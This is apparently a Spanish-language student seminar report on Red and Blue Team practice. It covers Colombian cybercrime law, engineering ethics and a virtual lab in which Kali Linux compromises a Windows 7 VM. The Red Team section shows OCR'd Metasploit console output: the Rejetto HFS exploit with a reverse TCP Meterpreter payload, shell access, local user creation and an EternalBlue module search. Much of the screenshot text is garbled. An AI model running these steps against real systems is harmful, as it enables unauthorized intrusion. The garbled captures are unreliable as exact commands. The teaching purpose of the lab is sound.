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1. RESUMEN

En este informe se destaca la importancia critica de fortalecer las estrategias en los equipos
de Blue y Red Team. Para ello, se analizaran las principales caracteristicas y
responsabilidades de cada equipo, se presentaran escenarios relacionados al un ambiente real
y con ellos se partira las recomendaciones que implique para la proteccion de los sistemas
informaticos.

Basicamente, este seminario nos brinda habilidades técnicas avanzadas, refuerza las
capacidades para aplicar estrategias colaborativas entre los equipos Red Team y Blue Team,
todo con el propdsito de que la proteccion en los sistemas informaticos sea continua, también
se hizo importancia del marco legal colombiano sobre la proteccion y seguridad de la
informacion.
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3. GLOSARIO
Payload: Carga util que se ejecuta en el sistema objetivo para obtener acceso o control.
Pentesting: Pruebas de penetracion para identificar vulnerabilidades en un sistema.
Nmap: Herramienta para escanear puertos abiertos

Phishing: Suplantacion de identidad para engafiar a la victima y obtener informacion
confidencial.

CVE (Common Vulnerabilities and Exposures): es un sitio web para buscar ciertas
vulnerabilidades de red y de software

Purple Team: Equipo que combina las habilidades de los equipos Red Team y Blue Team.
Exploit: cddigo disefiado para aprovechar vulnerabilidades en un sistema

Hardening: son basicamente procesos de sistemas con el fin de reducir riesgo.

Malware: es un software malicioso para dafar sistemas y a un paso del hurto de informacién.
Ataque: Asedio virtual para conquistar informacion o causar dafio.

Ciberseguridad: Tejido invisible que protege la informacion digital.



4. INTRODUCCION

Con el presente informe técnico nos presentara sobre los conceptos basicos en el contexto de
los equipos de Blue Team y Red Team, teniendo en cuenta los criterios legales y
normatividad vigente en el marco legal colombiano. Se busca analizar la complejidad de las
aplicaciones y las deficiencias en las practicas de estos equiposen software virtyalizacion qye
nos dan un enfoque real o un escenario quizas tangible, con el fin de proponer estrategias
para fortalecer su eficacia en la proteccion de la informacién y poner en practica muestras
habilidades aprendidas de la ciberseguridad



5. OBJETIVOS

5.1 OBJETIVOS GENERAL

Fortalecer y empoderar las estrategias tanto de los equipos de Blue Teams y Red Team para
mejorar la seguridad de la informacion, identificando las vulnerabilidades, amenazas,
novedades y proponiendo mejoras continuas para los sistemas informaticos.

5.2 OBJETIVOS ESPECIFICOS

Analizar las leyes y decretos que existan en Colombia sobre los delitos informaticos
y proteccion de datos.

Investigar en que consiste el Codigo Etica del consejo profesional COPNIA
Especificar las caracteristicas de los servicios web de andlisis de vulnerabilidades
Demostrar las vulnerabilidades para aplicar metodologias y técnicas de intrusion,
Diferenciar entre un Blue Team, un CSIRT y un Red Team

Establecer simulaciones entre los equipos Red y Blue Team para evaluar fallas en
tiempo real,



6. DESARROLLO DEL TRABAJO

6.1 ESCENARIO 1

1. Sobre el marco Legal Colombiano

Existen varios articulos desde los delitos informaticos Ley 1273 de 2009, segun la
normativa en el cddigo penal en la sesion tutelado de la proteccion de la informacion
y de los datos se preservan integralmente los sistemas que usen las tecnologias de la
informacidén y las comunicaciones.

Articulo 269A: acceso abusivo a un sistema informatico. El que sin autorizacion o
fuera de lo acordado, que acceda en parte del sistema protegido, se mantenga dentro
del mismo en contra de la voluntad de quien tenga el legitimo derecho a excluirlo.
Articulo 269B: 'ob*staculizacion ilegitima de sistema informatico, el que impida o
obstaculice el funcionamiento a los datos, contenidos o en una red de
telecomunicaciones.

Articulo 269 C: Intercepcion de los datos informaticos.

Articulo 269D: Dafio informaético.

Articulo 269 E: Uso de software malicioso, asi produzca, trafique, adquiera,
distribuya, extraiga del territorio nacional software malicioso con efectos dafiinos.

Articulo 269F: Violacion de datos personales.

Articulo 269G: Suplantacion de sitios web para capturar datos personales.

En la misma sancion incurrira el que modifique el sistema de resolucion de nombres
de dominio, de tal manera que haga entrar al usuario a una IP diferente en la creencia

de que acceda a su banco o a otro sitio personal o de confianza, siempre que la
conducta no constituya delito sancionado con pena mas grave.

Estas leyes ademas de varias son originada de la normatividad desde el congreso de
la republica, y por otro lado, el derecho siempre llega a su cita, pero existen varios

! Mayo 2019. Normatividad sobre delitos informaticos. Policia Nacional de Colombia. Link https://www.policia.gov.co/denuncia-
virtual/normatividad-delitos-informaticos



escenarios en los cuales el derecho ha estado siempre a un paso, ademas los asociados
con desarrollos tecnologicos como la internet, la inteligencia artificial y el internet de
las cosas.

E igual aparte de estas leyes, en el sector privado es importante y se vuelve necesario
sequir forzando las barreras tecnologicas y los controles internos para evitar ser
victimas de estos delitos.

En el mundo de la ciberseguridad se hace pruebas de Pentesting:

Para hacer una prueba de pentesting, consiste en las siguientes fases que ayudaran a
corregir los fallos y evitar los ciberataques en el futuro:

Planeacion: se establece enlace de pruebas, se determina objetivos y metodologia a
utilizar

llustracion 1. Tipos de pruebas

e ManageEngine

Vulnerability sssessment

patch management
” otcrvmg
o

©

Fuente ManageEngine

Recopilacién de informacion: se relne toda la informacion, incluye a la
identificacion de sistemas en la red, servicios en ejecucion y vulnerabilidades,
también como mas informacion?.

llustracién 2. Recopilacion de la arquitectura de la red y servicios

2

Abril 2024. Ventajas WAN vulnerabilidades. Vulnerability Manager Plus https://www.manageengine.com/vulnerability-

management/help/wan-architecture.html
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% Server Infrastructure supports configuring Failover Server to act as a standby, whenever the primary server fails.

Fuente ManageEnginePLus
Analisis de vulnerabilidades: pruebas iniciales para localizar las debilidades

llustracién 3. Analisis de vulnerabilidades en la red y los demas servicios
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Explotacion: explotar vulnerabilidades identificadas, esto incluye la ejecucion de
codigo malicioso, acceso a datos confidenciales.

llustracion 4. Ejemplo de Script o codigo en ejecucion a segundo plano

Fuente Guia Hacking y pentesting

Analisis de resultados: basicamente con estos resultados se revisa debilidades y
evaluacion de riesgo potencial.

llustracion 5. Resultados obtenidos segun el escaneo que se ejecuta en la red

C * Lazan Lo S St e E Plabferm. Eewnad Pricion ‘P T e P Camplanc Rerien

Fuente ManageEnginePLus

3. Acerca de las herramientas de ciberseguridad:

Herramientas:
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Metasploit: esta es una herramienta que tiene alrededor de 900 exploits para poner
aprueba la ciberseguridad de cualquier sistema informatico. Este software es de
codigo abierto, es escrito por Perl y traducido a ruby, para mayor eficiencia y se ha
evolucionado para convertirse en la herramienta de eleccion para la ejecucion de
exploits, principalmente trabaja dentro de un entorno del sistema operativo Kali
Linux.

No solo son herramientas de Hackeo, es un instrumento crucial para poner a prueba
las vulnerabilidades en sistemas informaticos, es multiplataforma y gratuita.

Nmap: es basicamente una herramienta de linea de comandos de Linux de codigo
abierto que se utiliza para escanear direcciones IP y puertos en una red y para detectar
aplicaciones instaladas.

También ayuda a mapear rapidamente una red sin comandos ni configuraciones
sofisticados. También admite comandos simples (por ejemplo, para verificar si un
host estd activo) y secuencias de comandos complejas a través del motor de
secuencias de comandos Nmap.

OpenVas: framework con base en servicios y herramientas que puede usarse de
forma individual o como parte del conjunto de herramientas de seguridad incluidas
en OSSIM, es basicamente de uso libre y se usa en Kali Linux, el gestor es el servicio
que lleva a cabo tareas como el filtrado o clasificacion de los resultados del analisis,
control de las bases de datos que contienen la configuracion o los resultados de la
exploracion y la administracion de los usuarios, incluyendo grupos y roles®.

Servicios en linea

ExploitDB: este servicio emerge como una pieza destacada, aclamada por muchos
como fuente esencial de exploits, vulnerabilidades y técnicas de seguridad. Esta
funcién ha sido valorada por los profesionales de la seguridad informatica, quienes
encuentran en esta plataforma una herramienta Util para identificar posibles puntos de
vulnerabilidad y desarrollar estrategias de mitigacion.

La plataforma también juega un papel crucial en la planificacion de respuestas a
incidentes de dia cero, situaciones en las que se descubre una vulnerabilidad antes de
que se disponga de un parche.

CVE: conforman una lista de las fallas de seguridad informatica que esta disponible
al publico. Cuando alguien habla de un CVE, se refiere a una falla a la cual se le
asigno un numero de identificacion de CVE.

Las advertencias de seguridad que emiten los proveedores y los investigadores casi
siempre mencionan al menos uno de estos identificadores. Los CVE permiten que los

3

Agosto  2023. Evaluacion de vulnerabilidades usando open wvas. Link https://www.welivesecurity.com/es/recursos-

herramientas/evaluacion-vulnerabilidades-openvas/
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especialistas en Tl coordinen sus iniciativas para priorizar y solucionar los puntos
vulnerables, a fin de reforzar la seguridad de los sistemas informaticos.

4. Sobre el escenario 1, realizar la respectiva actividad:
Paso A: Descargar la herramienta virtualizadora “VirtualBox™ en su ultima version.

Paso B: Una vez se realice apertura del foro para el desarrollo de la actividad se procedera a
compartir enlace de descarga de lo requerido para el montaje del banco de trabajo, las
imagenes en formato. OVA las cuales se encuentran ya preconfiguradas para ser utilizadas
en las actividades de caracter técnico. En las iméagenes. OVA existe: Un sistema operativo
windows y un sistema operativo Kali Linux.

llustracidn 6. Descarga de la aplicacion virtual box y las imagenes .ova de Win 7'y Kali Linux

D ¢ ® s 0 »r ¢ &™D

Fuente propia

llustracion 7. Configuracion de la imagen WIN 7 y Kali Linux

14



Fuente propia '

Paso C: Debe validar que exista comunicacion entre cada una de las maquinas Windows con
la maquina de Kali Linux, recuerde por favor no encender las tres maquinas al tiempo ya que
puede colapsar los recursos hardware de su equipo host, encienda primero una maquina
Windows y posterior a ello encienda la maquina Kali Linux.

llustracién 8. Configuracion de hardware de la maquina WIN 7

HomnS MBI SO
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[lustracion 9. Configuracion de hardware de la maquina Kali Linux

BONS#MBECT GO cmomon

Fuente propia
[lustracion 10. identificacion IP de la maquina WIN 7

Archivo Maquina Ver Entrada Dispositivos Ayuda

B O¥SseNarT ¥ & K crre perechA

Fuente propia

14/10/2024 =

= Q_ search I 4 > ] X Aa @ 2am g

llustracion 11. Identificacion IP de la maquina Kali Linux
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llustracién 13. Prueba de ping entre ambas maquinas WIN 7 y Kali Linux
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HOnNSESNE T ¥ GO o pme

B Qe WD

: - M
Fuente propia

Cabe aclarar que se deja en ambas maquinas se deja con la configuracion de adaptador puente
para lograr la comunicacion de ping.

6.2 ESCENARIO 2
1. Sobre el escenario 2, validar sus procedimientos ilegales y responder:

Acorde al Anexo 2, se puede considerar que las falencias que dejo el abogado a
pesar de que ya no labore para la organizacién CyberFort, la gerencia no se
tomo el tiempo de revisar los contratos para reclutar el personal para nuevos
ingresos y lo que no estaria bien es la entrega de estos mismos documentos sin
modificaciones pues estaria abierto a particularidades o brechas a que futuro
puede ser una facilidad o un parte contraria segun para las personas que no tan
buenas intenciones, no es ético, es necesario modificar el contrato y asegurar
que acuerdos deben cumplir los nuevos ingresos a la organizacién red y blue
team, pues conoceran los protocolos, procesos y ademas de otros lineamientos
que trataran con nuevos clientes, basicamente la reputacion de la organizacion
podria darse en juego.

Por otro lado, sobre el acuerdo Anexo 3, no es ético e ilegal:

18



Consideracion 1. Sobre dicha informacion es compartida en virtud del proceso
de seleccion, se deberia agregar que esta informacion como es compartida esta
sujeta a un acuerdo de confidencialidad por la sensibilidad de la informacion.

Primera Objeto, sobre el acuerdo de confidencialidad de que la parte
receptora no debe divulgar la informacién confidencial sobre los procesos
ilegales de Cyberfort, éticamente esta mal pues las personas que son
seleccionadas son profesionales que deben asumir un rol serio sobre el cargo
asumir para cualquier d ellos dos grupos de la organizacion y seria ilegal
conocer procesos ilegales que no estan debidamente corregidos ya que estos
podrian ser anunciados ante la rama judicial y quizds puedan hacerse
suspension de la organizacion.

Cuarta obligacion, punto tres, no denunciar ante las autoridades actividades
sospechosas de espionaje o cualquier otro proceso en el cual intervenga la
apropiacion de informacién de terceros, seria ilegal el no informar sobre las
activades de espionaje que intervenga con informacion de terceros, pues si el
trabajo es claro que la organizacion debe realizar es necesario informar
actividades y estar atentos a que posibles cambio se ejecuten, que interrumpen
la informacion confidencial que esta segura y en su repositorio.

Octava obligacién, en caso de informacion ilegal el receptor debe acudir a un
abogado privado y dejar exenta de cualquier responsabilidad, no es ético
dirigirse aun abogado privado, esta informacion que es sensible y de contenido
delicado dese ser tratado con los abogados de la organizacién para el uso
adecuado y pertinente.

Si la respuesta es afirmativa y usted encontro algin proceso ilegal del anexo 3
— Acuerdo: acuerdo, deberd mencionar que articulos de la ley 1273 se podria
vulnerar en dicho acuerdo y especificar porque vulnera articulos de la ley 1273

Sobre el Anexo 3 de lo que se hallo, lo articulos que pueden vulnerados son:

Primera Objeto, sobre el acuerdo de confidencialidad de que la parte
receptora no debe divulgar la informacién confidencial sobre los procesos
ilegales de Cyberfort, éticamente, aplicaria el articulo 269H de la ley 1273,
Circunstancias de agravacion punitiva, vulnera en el sentido:

8. Si quien recurre en estas conductas es el responsable de la administracion,
manejo o control de dicha informacidn, ademas se le impondrian por tres afios,
la pena de inhabilitacion para el ejercicio de su profesidn, esto es sencillamente
el saber sobre estos procesos ilegales y una auditoria del estado puede ejecutar
esta ley para los responsables.
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Cuarta obligacioén, punto tres, no denunciar ante las autoridades actividades
sospechosas de espionaje o cualquier otro proceso en el cual intervenga la
apropiacién de informacion de terceros, aplicaria vulnerabilidad en el

articulo 269CL de Ia ley 1273, Intercepcion de datos informaticos, estas
actividades de espionaje que no se denuncian porque no tiene una orden
judicial son vulnerables para la intercepcion de datos informaéticos, para
origen, destino o que ejecuten emisiones electromagnéticas, pues esto tendria
una pena a prision de 36 0 72 meses.

Octava obligacion, en caso de informacion ilegal el receptor debe acudir a un
abogado privado y dejar exenta de cualquier responsabilidad, podria ser
vulnerable con el articulo 269J de la ley 12732, Transferencia no consentida de
activos, esto podria ser consecuente en el sentido de acudir a un abogado
privado, aplicaria como transferencia no consentida por cualquier activo en
prejuicio por un tercero. Tendria una pena de prision de 48 a 120 meses, ademas
una posible multa 200 a 1.500 salarios minimos legales.

1 Mayo 2019. Normatividad sobre delitos informaticos. Policia Nacional de
Colombia. Link https://www.policia.gov.co/denuncia- virtual/normatividad-delitos-
informaticos

3. Sobre el escenario 2, acerca de procesos legales responder:

Debe argumentar su respuesta ya sea afirmativa o negativa segin la
argumentacién que dispone COPNIA en su cddigo de ética para ingenieros.

Sobre las observaciones dadas del escenario y las observaciones en los
contratos para el proceso de reclutamiento de futuros ingresos al equipo Blue
y red Team que claramente la gerencia no reviso minuciosamente, estaria en
exposicion de asumir buenos beneficios para asuntos de bienestar como
econémicamente, calidad de vida, alimentacion, transporte, salud mas
prestaciones de servicio pero por otro lado la cuestion de permitir las
condiciones como muestra el Anexo 3, tendria mucha exposicion ante la
matricula o tarjeta profesional, y estaria disponiendo en quebrantar los
siguientes articulos del codigo Etica para Ingenieros en Copnia:

Posible sancion a la tarjeta o matricula por un periodo de cinco afios, después
de que una autoria encuentra procesos ilegales del contrato y asi mismo como
se castiga por el debido proceso incorrecto esta sujeto a una penalidad por ser
actor de la ejecucion y ser consecuente de que hay ilegalidad en la accion y no
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es corregida como debe ser.

Por otro lado, el articulo 32 Prohibiciones generales a los profesionales, apoya
que el reiterado e injustificado incumplimiento a las obligaciones laborales®
por ejemplo apoyar algun procedimiento que no esta debidamente correcto y
en lo ético no esta bien pues se estaria incumpliendo y no seria justo.

No obstante, otra particularidad vista que puede traer aln mas consecuencias
y que éticamente no se ve bien es el articulo 45* Régimen de Inhabilidades e
incompatibilidades que afectan el ejercicio, aplicaria que una actividad que el
profesional ejecute con asesores externos de mas de una empresa sin
consentimiento o autorizacion de estas no esta bien.

En pocas palabras, el escenario de la Organizacion CyberFort puede brindar
oportunidades con buenos beneficios que tal ves sean propuestas muy
convenientes en lo personal y un plus en calidad de vida, aunque la exposicion
de los procedimientos que demuestra el Anexo 3 trae varias consecuencias que
pueden afectar legalmente a la tarjeta profesional, sanciones en que no
permita ejercer para mas compafiias y que este tipo de actividades traen
consigo consecuencias legales que podrian efectuar multas o penalidades ante
el ministerio de trabajo.

Sobre el escenario 2, responder con Etica y mora lo siguiente:

Hasta que punto las empresas de ciberseguridad deben tener acceso a
informacién sensible de sus clientes durante una auditoria de seguridad, y
como se puede garantizar que este acceso no sea explotado de manera indebida

Segln lo que se tiene de la auditorias de seguridad, pueden varios tipos
procedimiento para la ciberseguridad que pueden ser:

Auditoria de Vulnerabilidades, auditoria de codigo, auditoria de las redes,
auditoria de la web, auditoria forense y hacking ético®.

Se supondria que conociendo a la informacion clave de la organizacion o
empresa se determina los aspectos para audita, haciendo uso de un check list
sobre los controles existentes de la proteccion implementada para sus redes y
sistemas, lo cual las acciones correspondientes para el acceso a la informacion
sensible de las empresas de ciberseguridad tiene que tener un acceso
controlado en que se implementa una gestion de accesos que garanticen que
Unicamente que usuarios tienen niveles acceso limitados y el personal interno
de la compafiia tenga consigo un acceso mas directo a la informacion sensible,
por ello no solo es el acceso, también parte de la informacion debe estar
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protegida con cifrado de datos para estas mismas entidades, en pocas palabras
las empr4sas de ciberseguridad podrian estar a pasos cercanos de la
informacion pero con ciertas limitaciones pues su objetivo es identificar
vulnerabilidades, escanear posibles amenazas y aplicar sus técnicas de Etical
Hacking.

En teoria por politicas asociadas a la gestion de acceso, se debe tener
parametrizado accesos de modo lectura, escritura y a que limites tanto del
almacenamiento de la informacién, en la red y en los sistemas, esta
responsabilidad seria obtenida del administrador de cada categoria balancear
los accesos que se le permita a la empresa de ciberseguridad que tenga que
correr sus trabajos de analisis.

e Que mecanismos de supervision y control deberian implementarse en las empresas
de ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de
analisis forense con fines no autorizados o éticamente cuestionables

De primera estancia tener sus herramientas estandar para las debidas actividades de
ciberseguridad en sus clientes, estos podrian ser utilidades que permitirian la supervision de
cada integrante de la empresa:

Software antivirus, permite identificar en detalle de las conexiones del dispositivo, conexién
a otros dispositivos fisicos por medio de la red, fisicamente o enlaces remotos. Este podria
facultar a través de reportes de log de eventos que actividades ha realizado el personal de
ciberseguridad si cumple con las actividades debidamente correctas en cada procedimiento
de las técnicas de hacking.

Software para detencion, es un agente que puede ser instalado en los equipos de cada
integrante y podria analizar qué tipo de conexion se realiza por medio de web que sea una
fuga de conexion a externos.

Por altimo, otra utilidad que puede ayudar en ser supervisor de todo tipo de actividades es
el Firewall perimetral de red, por medio de reglas realizara ejecucion de permitir y bloguear,
quizas cuando existan intentos de acceso poco comunes se mostrara un registro de eventos
que permitira identificada el punto origen y destino para asociar Si son accesos no
autorizacion y sean una posible fuga para la informacion de las empresas clientes.

Con estas herramientas podran ser Utiles el tipo de trabajo que realizan los ingenieros de
seguridad y asi mismo se evaluara su ética en cuando a las actividades que se asignan y
logren obtener los resultados esperados para la proyeccion de la informacién.

Inicialmente, como entidad tercera de ciberseguridad que estard en pro de hacer trabajos
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para garantizar que sus clientes estén seguros y tengan una reaccion inmediata a las
amenazas vistas del dia, es necesario y se exige que tenga una experiencia legal,
cumplimiento e investigacion para poder comunicarse de manera afectiva con los
Stakeholders.

El trabajo que se debe pactar entre la organizacion es y la empresa de ciberseguridad, se
debe tener acuerdos con clausulas de castigo y penalidades monetarias, todo ello debe ir
sujeto a las leyes de la rama judicial.

Debido pues una falla o algun tipo de conducta o comportamiento, podria no solo afectar la
licencia o matricula del ingeniero de seguridad que no trabaje en un determinado tiempo
quedando sefialado en hoja de vida, la empresa de ciberseguridad podria estar sujeta segun
la falta que tipo de penalidades deba pagar por incumplimiento a la confidencialidad de la
informacion y si aun en un escenario mas grave, las organizaciones podrian tener el derecho
de acusar o demandar a la empresa de seguridad que podria tener afectacion con el ministerio
de trabajo y otras entidades.

Todo esto podria minimizarse a un cumplimiento de objetivos y estar atado a ciertas
clausulas para que ambas partes estén de mutuo acuerdo y se de la respectividad de
confianza que se trabaja con personal de seguridad de buenas intenciones.

6.3 ESCENARIO 3

1. Describa de manera especifica las herramientas software que utilizé para llevar
a cabo el anexo 4 — escenario 3 enfocado a Redteam. Debera adjuntar evidencia
de los comandos utilizados y resultados que arrojé cada herramienta utilizada,
estas herramientas deben estar clasificadas segun los pasos de un pentesting.

En el presente informe de contexto académico se utilizaron las herramientas vistas
durante el transcurso de la materia, pero en especial la Maquina VirtualBox version
junto a la herramienta combinado con Nmap y Metasploit Framework, asi como
Metasploitable2, que en este caso simula la organizacion para la cual estamos
realizando la consulta de Pentesting.

Una vez, contando con los permisos que la organizacion nos ha concedido,
procedemos a intentar ingresar, aprovechando esta vulnerabilidad, obteniendo los
resultados esperados para el desarrollo de la actividad.

Una vulnerabilidad de seguridad se puede ver como el punto de partida de todo el
proceso que implica la seguridad en general, su presencia puede permitir alterar el
comportamiento normal de un programa (realizar algo malicioso como alterar
informacion sensible, interrumpir o destruir una aplicacion o tomar su control).
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llustracion 14. Configuracion de las maquinas virtuales en virtual Box
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llustracion 15. Validacion que ambas maquinas estén por adaptador de puente desde

virtualbox

¥ Oracle VM VirtualBox Administrador
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llustracion 16. Comprobacion que tengan el mismo segmento de IP

Archvo Mdquea Ver Entrada Dispostivos Ayuda

Archivo  Mquina  Ver )

Beomp

File Actions Edit View Help

laminisrador CAWindowstsystemincmd o

/home/kali

BONSE /MO @0 crroowrecis
Qseren @ O T M @ 8 %5 O © ® 5 @ £ e 4 e

9/11/2024

Elaboracion propia

llustracion 17. Ejecucion del comando nmap -A de la IP de la maquina win 7 para
analizar el rastreo de puertos

chvo Maqune Ver Entrads Depostivos Ayude

¥ @0 crreosreon

AONFsEBaL @00
Q search = M i 9 ' ® 4 =
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Elaboracion propia

llustracion 18. Se abre herramienta metasploit en la maquina virtul Kali

& il kali-linux-2024 [Corriendo] - Oracle VM VirtualBox - o X
Atchivo  Mbguina Ver Entrada

HemPor

File it View Help

/home/kali

HIGH FFFFFFFF

=! Q search

Elaboracion ropia

llustracion 19. Busqueda de un hfs en Metasploit

https://metasploit.com

.18-dev
2437 exploits 1255 auxiliary - 429 post
1468 payloads - 47 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.com/
msf6 > search hfs

Matching Modules

# Name Disclosure Date Rank Description
M carpetas ¢ 0 exploit/multi/http/git_client_command_exec 2014-12-18 Malicious Git and Merc
. urial HTTP Server For CVE-2014-9390
Ninguno 1 \_ target: Automatic
i 2 \_ target: Windows Powershell . 5 .
Descripciol s
éa 3 exploit/windows/http/rejetto_RhfS rce_cve_. &5 2024-05-25 Rejetto HTTP File Serv
Ninguno er (HFS) Unauthenticated Remote Code Execution
4 exploit/windows/http/rejetto_RfS_exec 2014-09-11 Rejetto HttpFileServer
Remote Command Execution

Interact with a module by name or index. For example

msf6 > i

BOoNTLMmarT g & 3 crr oerecHa

- a p— 1:54 p. m.
X Q ¥ oW 101172024 2

Elaboracion propia
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lustracion 19. Seleccion el deploy del Windows 7

1sf6 > search hfs

# Name Disclosure Date Rank Description

0 exploit/multi/http/git_client_command_exec 2014-12-18 t Malicious Git and Merc
irial HTTP Server For CVE-2014-9390

o \_ target: Automatic

\_ target: Windows Powershell v - - ’
exploit/windows/http/rejetto_RfS _rce_cve 2024 _ 024-05- 1 Rejetto HTTP File Serv

r (HFS) Unauthenticated Remote Code Execution

4 exploit/windows/http/rejetto_RfS_exec 2014-09-11 1 Rejetto HttpFileServer
Remote Command Execution

Interact with a module by name or index. For example
nsf6 > use 4

No payload configured, defaulting to windows/meterpreter/reverse_tcp
nsf6 exploit( ) > shoufl

BOoELPMOE & crr perecHa

1:59 p. m.
a
A RDO 0 &

Elaboracion propia

llustracion 20. Demostracion de opciones

Interact with a module by name or index. For examp
sf6 use &4

No payload configured, defaulting to window eterpreter/reverse_tcp
msf6 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

Name Current Setting Required Description

HTTPDELAY 10 0 Seconds to wait before terminating web server

Proxies A proxy chain of format type:host:port[,type:host:port][ 1

RHOSTS The target hos ) % metasploit.com/do ing-metasploit
/basics/using-metasploit.html

RPORT The target port (TCP)

SRVHOST 5 The local host or network interface to listen on. This must be an address
on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 080 The local port to 1

S ) Negotiate SSL/TLS for outgoing connections
Path to a custom SSL certificate (default is randomly generated)

TARGETURIT The path of the web application

URIPATH The URI to use for this exploit (default is random)

VHOST HTTP server virtual host

ayload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC process x ique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.14 e The listen addr (an interface may be specified)
LPORT 4444 The listen port
Exploit target:
Id Name

] Automatic

View the full module info with the r command.

xploit(

BOoKNFS MO T @ crroerecHA

4 ] a 4 2:01 p. m.
By W i DD O 1170000 O

Elaborci(’)n propia
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[lustracion 21. Validacion del equipo remoto WIN 7

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.14 The listen address (an interface may be specified)
LPORT Lbbly The listen port

as ¢ Exploit target:

Name

Automatic

full module info with the info, or f command.

im Lock Off oit( ) > set RHOSTS 192.168.1.13
192.168.1.13
oit( ) > 11

)i @ W EN 8| @ crrpereCHA
” 204p.m. -
527. : 1071172024 &

Elaboracion propia

llustracién 22. Ejecucion del exploit en Metasploit

Ver Entrada Disposthos Ayuda

Shell No.1

BB Qsen @D 5 M @

Elaboracion ropi

llustracion 23. Configuracion HFS en el puerto 8080
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fchivo Maquina  Ver
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It Favoritos [zl & Menu | ) Port:20 | @3 You arein Easy mode
8 Descargas mozilla-temp-files [&] Open in browser  http://192.168.1.13/ Copy to clipboard
Escritc
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Aplicacién Tamatio: 742 KB
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Elaboracion propia

Ilustracion 24. Ejecucion exploit de la maquina Kali a la maquina WIN 7

Maquina Ver Entrad Dispositnos  Ayuda er Entrada Dispostnos  Ayuda
~ HTTP File Server 23 Build 288 -
& Menw | ) Port 9980 | 83 You arein Easy mode =

R0 Open nbrowser htpo/2

1681138080
Virtual il System

:

Requested GET /7search=

9 P address

Q search | o

Elaboraicon propia

llustracion 24. informacion del equipo win 7 atacado
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RHOST = 192.168.1.13
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.14:4444

Using http://192.168.1.1 080/BMLUOjoiloixihS

Server started.

Sending malicious request to /

Payload request received: /BMLUOjoiloixihS

Sending stage (176198 bytes) to 192.168.1.13
[!] Tried to delete urChgmnz.vbs, unknown result

Meterpreter session 1 opened (192.168.1.14:4444 — 192.168.1.13:49240) at 2024-11-11
09:50:20 -0500

Server stopped.

meterpreter > sysinfo
Computer : P 06
0s : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture i X64
System Language es_CO
Domain WORKGROUP

. Logged On User: 1

» ﬂ’ @[_‘ !|oc Meterpreter : x86/windows

meterpreter >
meterpreter > shell
Proce c ted.
Channel created.
Microsoft Windows [Versien 6.1.7601]

\/_\

E1r™ & | 68 I crre DerECHA

L4 @ & & L ' ‘ ) B
Elaboracion propia

llustracion 25. Configuracion Shell en Kali Linux

Meterpreter : x86/windows
meterpreter >

meterpreter > shell

Process 2488 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Users\usuario\AppData\Local\Temp\7z045E28FE5>getuid
getuid

"getuid" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

Elaboracion propia

[lustracion 26. Validacion de usuarios de la maquina WIN 7

Archivo  Maquina Ver Entrada Dispositvos Ayuda [ rada  Dispositivos  Ayuda

4 1%

@ (R, + Panel de control » Cuentas de usuario y proteccién infantil » Cuentas de usuario b Administrar cuentas -4

Elegir la cuenta que desee cambia

Edit View Help
alejandracagua =

Invitado

Acciones adicionales que se pueden realizar
® Config i
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Ilustracion 27. Cargue perfil en magquina WIN 7

Méquina Ver Ent Archvo Maguine

B umP 9
=

File Actions Edit View Help

B Quxn @D I Mo

Elaboracion proia

llustracion 28. Pardmetros de configuracion usuario

user Administ
net user Administrador
Nombre di ri Administrador

uipo o dominio

iones d
de inicio d

Tod,

grupo 1 L *Administ
#HomeUs
grupo E *None

=
ers

et loc
up administ

po o dominio

Miembros

¥ | 88 1 cTRL DERECHA

12:49 p. m.
11/11/2024 L
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Elaboracion propia

llustracion 29. Creacion usuario local en la maquina WIN7

:\Users\usuario>net user "alejandracagua" /add
et user "alejandracagua" /add
e ha completado el comando correctamente.

:\Users\usuario>net user alejandracagua /Add
et user alejandracagua /Add
a cuenta ya existe.

uede obtener mes ayuda con el comando NET HELPMSG

:\Users\usuario>net user alejandracagua {bog2024 | *} /ADD
et user alejandracagua {bog2024 | *} /ADD
*}" no se reconoce como un comando interno o externo,

rograma o archivo por lotes ejecutable.

:\Users\usuario>f]

‘ ~
lﬂ‘l ) ¥t 9 & W [E1 ™ ¥ | 8 I TR DERECHA

12:50 p. m.
11/11/2024 Q

A @ > ) g

Elaboracion propia
lustracion 30. Escaneo por metasploit en busqueda de vulnerabilidades

37 exploits - 1255 auxiliary - 429 post
[ 1471 payloads - 47 encoders - 11 nops
9 evasion
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search httpFileServer

Disclosure Date Rank Check Descripti

0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 Yes Rejetto H
EEpFileServer Remote Command Execution|

Interact with a module by name or index. For example
e tto hf 5

# 1 @ 3 crrL DereCHA
6} % Wil E . 1:08 p. m. a

11/11/2024 =

Elaboracion propia

32



Después de haber creado el usuario, se correré exploit para un hash
Imagen 20. Ejecucion de EternaBlue

E Shell No.1
File Actions Edit View Help
Metasploit Documentation: https://docs.metasploit.com

rnalblue

Matching Modul

#  Name
scription

loit/windows/smb/ms17_o10_EEEFRalbLGE 2017-0
B Remote Windows Kernel Pool Corruption
: Automatic Target :
Windows 7 :
mbedded Standard 7
r

20

_ target: Windows 10 Pro
indows 10 Enterprise Evaluation . : :
7_010_psexec 2017-03-14 normal  Yes
17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1 \_ target: Automatic E . .
\_ target: PowerShell
AR e ative upload
& : MOF upload
\_ AKA: ETERNALSYNERGY
\_ AKA: ETERNALROMANCE
\_ AKA: ETERNALCHAMPION 5 5
\_ AKA: ETERNAUBLUE . 5
auxiliary/admin/smb/ms17_010_command 2017-03-14 normal  No
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Ex
KA: ETERNALSYNERGY 5
_ AKA: ETERNALROMANCE
AKA: ETERNALCHAMPION
_ AKA: ETERNAEBLUE
auxiliary/scanner/smb/smb_ms17_010
SMB RCE Detection
_ AKA: DOUBLEPULSAR
